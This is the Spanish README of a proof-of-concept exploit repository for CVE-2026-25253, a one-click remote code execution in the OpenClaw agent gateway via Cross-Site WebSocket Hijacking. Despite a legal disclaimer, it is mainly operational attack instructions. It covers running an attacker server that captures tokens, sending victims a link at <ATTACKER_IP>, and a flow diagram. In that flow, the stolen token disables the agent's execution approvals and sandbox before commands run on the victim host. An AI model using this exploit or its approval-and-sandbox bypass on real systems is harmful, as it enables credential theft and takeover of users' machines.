
Prueba de concepto del exploit para CVE-2026-25253, que demuestra RCE con un solo clic en OpenClaw mediante secuestro de WebSocket entre sitios (Cross-Site WebSocket Hijacking). Incluye servidor atacante y payload basado en navegador para robar tokens y ejecutar comandos.
RCE con un solo clic en OpenClaw mediante Cross-Site WebSocket Hijacking.
AVISO LEGAL: Este código se proporciona únicamente con fines de investigación de seguridad autorizada y educativos. El uso de este código contra sistemas sin permiso escrito explícito es ilegal y poco ético. El autor no asume ninguna responsabilidad por el mal uso.
Lea el análisis detallado para obtener un desglose a nivel de código fuente de esta vulnerabilidad y cómo se construyó este PoC.
localhost:18789)macOS (Homebrew):
brew install node
Ubuntu / Debian:
curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -
sudo apt-get install -y nodejs
Windows:
Descargue el instalador desde https://nodejs.org/ y siga las instrucciones.
Verifique la instalación:
node -v
npm -v
git clone https://github.com/al4n4n/CVE-2026-25253-research.git
cd CVE-2026-25253-research
npm install
Esto instala la única dependencia: ws (biblioteca WebSocket).
Edite la parte superior de exploit.html para que coincida con su entorno:
const LOCAL_SCHEME = 'http'; // Esquema de la interfaz de Control de la víctima
const GATEWAY_URL = 'ws://127.0.0.1:18789'; // Gateway local de la víctima
const ATTACKER_WS_PORT = 8080; // Puerto WS del atacante (debe coincidir con attacker-server.js)
const ATTACKER_SCHEME = 'ws'; // Use 'wss' si está detrás de TLS
const COMMAND = 'touch /tmp/success'; // Comando a ejecutar en el host de la víctima
Edite la parte superior de attacker-server.js si necesita puertos diferentes:
const HTTP_PORT = 3000; // Sirve exploit.html
const WS_PORT = 8080; // Captura tokens robados
node attacker-server.js
Debería ver:
============================================================
CVE-2026-25253 Attack Server
============================================================
[HTTP] Exploit page: http://0.0.0.0:3000/exploit.html
[WS] Token capture: ws://0.0.0.0:8080
Waiting for victim...
Envíe a la víctima la siguiente URL (reemplace <ATTACKER_IP> con su IP):
http://<ATTACKER_IP>:3000/exploit.html
La víctima debe abrir este enlace en un navegador donde haya utilizado previamente la interfaz de Control de OpenClaw (para que el token de autenticación exista en localStorage).
┌──────────────────────────────────────────────────────────────────────────┐
│ EXPLOIT FLOW │
├──────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. Victim visits http://<attacker>:3000/exploit.html │
│ │ │
│ 2. Page opens popup: http://127.0.0.1:18789?gatewayUrl=ws://<attacker> │
│ │ │
│ 3. Control UI in popup reads token from localStorage │
│ and sends it to attacker's WS server via gatewayUrl │
│ │ │
│ 4. Attacker server rejects first connect (device token) │
│ Control UI retries with settings token → CAPTURED │
│ │ │
│ 5. exploit.html opens its OWN WebSocket to ws://127.0.0.1:18789 │
│ (Cross-Site WebSocket Hijacking - no Origin validation) │
│ │ │
│ 6. Authenticates with stolen token, disables security: │
│ • exec.approvals.set → ask: "off" │
│ • config.patch → host: "gateway", sandbox.mode: "off" │
│ │ │
│ 7. Sends agent command → RCE on victim host │
│ │
└──────────────────────────────────────────────────────────────────────────┘
En la máquina de la víctima, compruebe si el comando se ejecutó:
ls -la /tmp/success
| Archivo | Descripción |
|---|---|
attacker-server.js | Servidor HTTP (sirve la página de exploit) + servidor WebSocket (captura tokens robados) |
exploit.html | Carga útil de exploit basada en navegador que roba tokens, secuestra WebSocket, desactiva la seguridad y ejecuta comandos |
package.json | Dependencias de Node.js (ws) |